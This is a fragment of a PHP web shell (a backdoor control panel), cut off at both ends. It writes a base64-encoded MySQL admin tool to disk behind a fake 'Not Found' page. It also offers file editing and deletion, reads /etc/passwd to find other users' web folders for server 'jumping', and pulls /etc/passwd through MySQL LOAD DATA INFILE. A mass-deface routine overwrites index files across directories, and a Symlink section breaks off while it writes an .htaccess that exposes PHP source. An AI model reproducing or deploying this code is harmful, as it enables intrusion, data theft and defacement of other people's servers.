JCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==';
$file = fopen("db-sql.php" ,"w+");
$write = fwrite ($file ,base64_deCode($sqlshell));
fclose($file);
    Chmod("db-sql.php", 0644);
$indexshell = fopen("index.php" ,"w+");
$data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
$tulis = fwrite( $indexshell, base64_deCode($data));
fclose($indexshell);
   echo "<iframe src=MySQL/db-sql.php width=97% height=100% frameborder=0></iframe>";
}

elseif(isset($_GET['view']) && ($_GET['view'] != "")){
  if(is_file($_GET['view'])){
	if(!isset($file)) $file = magicboom($_GET['view']);
	if(!$win && $posix){
		$name=@posix_getpwuid(@fileowner($folder));
		$group=@posix_getgrgid(@filegroup($folder));
		$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
	}
	else {
		$owner = $user;
	}
	$filn = basename($file);
	echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
	<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
	<Form action=\"?y=".$pwd."&amp;view=$file\" method=\"post\" id=\"".clearspace($filn)."_Form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
		<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
		<input class=\"inputz\" style=\"width:200px;\" type=\"Text\" name=\"newname\" value=\"".$filn."\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"Rename\" value=\"Rename\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_Form');\" />
		
	</Form>
	</td></tr>
	<tr><td>Size</td><td>".ukuran($file)."</td></tr>
	<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
	<tr><td>Owner</td><td>".$owner."</td></tr>
	<tr><td>Create Time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
	<tr><td>Last Modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
	<tr><td>Last Accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
	<tr><td>Actions</td><td><a href=\"?y=$pwd&amp;Edit=$file\">Edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_Form');\">Rename</a> | <a href=\"?y=$pwd&amp;Delete=$file\">Delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">Download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlGZIP=$file\">GZIP</a>)</td></tr>
	<tr><td>View</td><td><a href=\"?y=".$pwd."&amp;view=".$file."\">Text</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=Code\">Code</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=Image\">Image</a></td></tr>
	</table>
	";
	if(isset($_GET['type']) && ($_GET['type']=='Image')){
		echo "<div style=\"Text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&amp;img=".$filn."\"></div>";
	}
	elseif(isset($_GET['type']) && ($_GET['type']=='Code')){
		echo "<div class=\"viewfile\">";
		$file = wordwrap(@file_get_contents($file),"240","
");
		@highlight_string($file);
		echo "</div>";
	}
	else {
		echo "<div class=\"viewfile\">";
		echo nl2br(htmlentities((@file_get_contents($file))));
		echo "</div>";
	}
  }
  elseif(is_dir($_GET['view'])){
		echo showdir($pwd,$prompt);
  }

}
elseif(isset($_GET['Edit']) && ($_GET['Edit'] != "")){

		if(isset($_POST['save'])){
			$file = $_POST['saveas'];
			$content = magicboom($_POST['content']);
			if($filez = @fopen($file,"w")){
				$time = date("d-M-Y H:i",time());
				if(@fwrite($filez,$content)) $msg = "File Saved <span class=\"gaya\">@</span> ".$time;
				else $msg = "Failed To Save";
				@fclose($filez);
			}
			else $msg = "Permission Denied";
		}
		if(!isset($file)) $file = $_GET['Edit'];
		if($filez = @fopen($file,"r")){
			$content = "";
			while(!feof($filez)){
				$content .= htmlentities(str_replace("''","'",fgets($filez)));
			}
			@fclose($filez);
		}

?>
<Form action="?y=<?php echo $pwd; ?>&amp;Edit=<?php echo $file; ?>" method="post">
<table class="CMDbox"><tr><td colspan="2"><Textarea class="output" name="content">
<?php echo $content; ?></Textarea>
<tr><td colspan="2">Save as : <input onMouseOver="this.focus();" id="CMD" class="inputz" type="Text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
&nbsp;<?php echo $msg; ?></td></tr>
</table>
</Form>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
{
?>
<Form action="?y=<?php echo $pwd; ?>&amp;x=logout" method="post">

<?php
    unset($_SESSION[md5($_Server['HTTP_HOST'])]);
    echo '<br><br><center> Done! </center>';
}

/////////////////////////////////////////////////////////////////
elseif (isset($_GET['x']) && ($_GET['x'] == 'jumping')) {
?>
    <Form action="?y=<?php echo $pwd; ?>&x=jumping" method="post">
	<?php
    echo ' <br><html><head><title>' . getenv("HTTP_HOST") . ' - Jumping Server</title></head><body>';
    ($sm = ini_get('safe_mode') == 0) ? $sm = 'off' : die('<center><font size="6" color="#000000" face="Handlee"><b>Error: Safemode = ON</b></font>');
    set_time_limit(0);
    @$passwd = fopen('/etc/passwd', 'r');
    if (!$passwd) {
        die('<center><br><font size="6" color="#000000" face="Handlee"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>');
    }
    $pub = array();
    $users = array();
    $conf = array();
    $i = 0;
    while (!feof($passwd)) {
        $str = fgets($passwd);
        if ($i > 100) {
            $pos = strpos($str, ':');
            $username = substr($str, 0, $pos);
            $dirz = '/home/' . $username . '/public_html/';
            if (($username != '')) {
                if (is_readable($dirz)) {
                    array_push($users, $username);
                    array_push($pub, $dirz);
                }
            }
        }
        $i++;
    }
    echo '<center><p><font size="7" color="#008080" face="Handlee">Server Jumping Finder<br></font><br><font size="3" color="#008080" face="Handlee">         [-]==================[ START ]==================[-] <br><br></font>';
    Foreach ($users as $user) {
        echo "<font size='3' color='#ee0808' face='Handlee'> [+]<a href='?y=/home/$user/public_html'> /home/$user/public_html/</a></font><br/>";
    }
    echo "
 <font size='3' color='#008080' face='Handlee'><br>[-]==================[ FINISH ]==================[-] <br></font>
";
    echo "
 <font size='2' color='#800000' face='Handlee'>[+] Scanners Have Been Completed [+]</font></center>
";
    echo '</body></html>';
}
	//////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){if(isset($_GET['sqlHost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){$sqlHost = $_GET['sqlHost'];$sqluser = $_GET['sqluser'];$sqlpass = $_GET['sqlpass'];$sqlport = $_GET['sqlport'];if($con = @mysql_Connect($sqlHost.":".$sqlport,$sqluser,$sqlpass)){$msg .= "<div style='width:99%;padding:4px 10px 0 10px;'>";$msg .= "<p>Connected to ".$sqluser."<span class='gaya'>@</span>".$sqlHost.":".$sqlport;$msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlHost=".$sqlHost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;'>[ Databases ]</a>";if(isset($_GET['db'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlHost=".$sqlHost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."'>".htmlspecialchars($_GET['db'])."</a>";if(isset($_GET['table'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlHost=".$sqlHost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".$_GET['table']."'>".htmlspecialchars($_GET['table'])."</a>";$msg .= "</p><p>version : ".mysql_get_Server_info($con)." proto ".mysql_get_proto_info($con)."</p>";$msg .= "</div>";echo $msg;if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){$db = $_GET['db'];$query = "DROP TABLE IF EXISTS b374k_table;
CREATE TABLE `b374k_table` ( `file` LONGBLOB Not NULL );
LOAD DATA INFILE '/etc/passwd'
INTO TABLE b374k_table;SELECT * FROM b374k_table;
DROP TABLE IF EXISTS b374k_table;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'><input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlHost' value='".$sqlHost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><Textarea name='sqlquery' class='output' style='width:98%;height:80px;'>$query</Textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";$tables = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>Available Tables On ".$db."</th></tr>";$hasil = @mysql_list_tables($db,$con);
while(list($table) = @mysql_Fetch_row($hasil)){@array_push($tables,$table);} @sort($tables);
foreach($tables as $table){$msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlHost=".$sqlHost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."'>$table</a></td></tr>";} $msg .= "</table>";} 
elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
$db = $_GET['db'];$table = $_GET['table'];$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";$msgq = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlHost' value='".$sqlHost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> <p><Textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</Textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";$columns = array();$msg = "<table class='explore' style='width:99%;'>";$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);while(list($column) = @mysql_Fetch_row($hasil)){$msg .= "<th>$column</th>";$kolum = $column;}$msg .= "</tr>";$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
list($total) = mysql_Fetch_row($hasil);
if(isset($_GET['z'])) $page = (int) $_GET['z'];
else $page = 1;$pagenum = 100;$totpage = ceil($total / $pagenum);$start = (($page - 1) * $pagenum);$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
while($datas = @mysql_Fetch_assoc($hasil)){$msg .= "<tr>";foreach($datas as $data){if(trim($data) == "") 
$data = "&nbsp;";$msg .= "<td>$data</td>";}$msg .= "</tr>";} $msg .= "</table>";$head = "<div style='padding:10px 0 0 6px;'> <form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlHost' value='".$sqlHost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> Page <select class='inputz' name='z' onChange='this.form.submit();'>";
for($i = 1;$i <= $totpage;$i++){$head .= "<option value='".$i."'>".$i."</option>";
if($i == $_GET['z']) $head .= "<option value='".$i."' selected='selected'>".$i."</option>";} $head .= "</select><noscript><input class='inputzbut' type='submit' value='Go !' /></noscript></form></div>";$msg = $msgq.$head.$msg;} 
elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){$db = $_GET['db'];$query = magicboom($_GET['sqlquery']);
$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlHost' value='".$sqlHost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><Textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</Textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";@mysql_select_db($db);$querys = explode(";",$query);foreach($querys as $query){if(trim($query) != ""){$hasil = mysql_query($query);
if($hasil){$msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";$msg .= "<table class='explore' style='width:99%;'><tr>";
for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";$msg .= "</tr>";for($i=0;$i<@mysql_num_rows($hasil);$i++) {$rows=@mysql_Fetch_array($hasil);$msg .= "<tr>";for($j=0;$j<@mysql_num_fields($hasil);$j++) {
if($rows[$j] == "") $dataz = "&nbsp;";
else $dataz = $rows[$j];$msg .= "<td>".$dataz."</td>";} $msg .= "</tr>";} $msg .= "</table>";} 
else $msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";} } } 
else {$query = "SHOW PROCESSLIST;
SHOW VARIABLES;
SHOW STATUS;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /><input type='hidden' name='x' value='mysql' /><input type='hidden' name='sqlHost' value='".$sqlHost."' /><input type='hidden' name='sqluser' value='".$sqluser."' /><input type='hidden' name='sqlport' value='".$sqlport."' /><input type='hidden' name='sqlpass' value='".$sqlpass."' /><input type='hidden' name='db' value='".$db."' /><p><Textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</Textarea></p><p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p></form></div> ";$dbs = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>Available Databases</th></tr>";$hasil = @mysql_list_dbs($con);
while(list($db) = @mysql_Fetch_row($hasil)){@array_push($dbs,$db);} @sort($dbs);foreach($dbs as $db){
$msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlHost=".$sqlHost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."'>$db</a></td></tr>";} $msg .= "</table>";} 
@mysql_close($con);} else $msg = "<p style='Text-align:center;'>Can't Connect</p>";echo $msg;} else{?> 
<br><center><div class="mybox"><form action="?" method="get"><input type="hidden" name="y" value="<?php echo $pwd;?>" /> <input type="hidden" name="x" value="mysql" /><table class="tabnet" style="width:320px;"> <tr><th colspan="2">Connect to MySQL Server</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="Text" name="sqlHost" value="localHost" /></td></tr> <tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="Text" name="sqluser" value="root" /></td></tr> <tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="Text" name="sqlpass" value="Password" /></td></tr> <tr><td>&nbsp;&nbsp;Port</td><td><input style="width:80px;" class="inputz" type="Text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr></table></form></div></center>
<?php }}

/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
{
echo "<center>";
error_reporting(0);?>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
<td><table><table  >
<form hethot='post'>
<tr>
	<tr>
	<td>&nbsp;&nbsp;Folder</td><td><input class ='inputz' type='Text' name='path' size='60' value="<?php echo getcwd();?>"></td>
	</tr><br>
	<tr>
	<td>File Name</td><td><input class ='inputz' type='Text' name='file' size='60' value="index.php"></td>
	</tr>
</tr>
<th colspan='2'><b>Source Code</b></th><br></table>
<Textarea style='background:black;outline:none;' name='index' rows='10' cols='67'> </Textarea><br>
<center><input class='inputzbut' type='submit' value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form></table><br></form>

<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$Code=base64_enCode($_POST[index]);$indx=base64_deCode($Code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}
exit;
}

//////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET['x']) && ($_GET['x'] == 'Symlink'))
{
?>
<Form action="?y=<?php echo $pwd; ?>&amp;x=Symlink" method="post">
<?php

@set_time_limit(0);

echo "<br><br><center><div class=content>";

@mkdir('sym',0777);
$htaccess  = "Options all 
 DirectoryIndex Sux.html 
 AddType Text/plain .php 
 AddHandler Server-parsed .php 
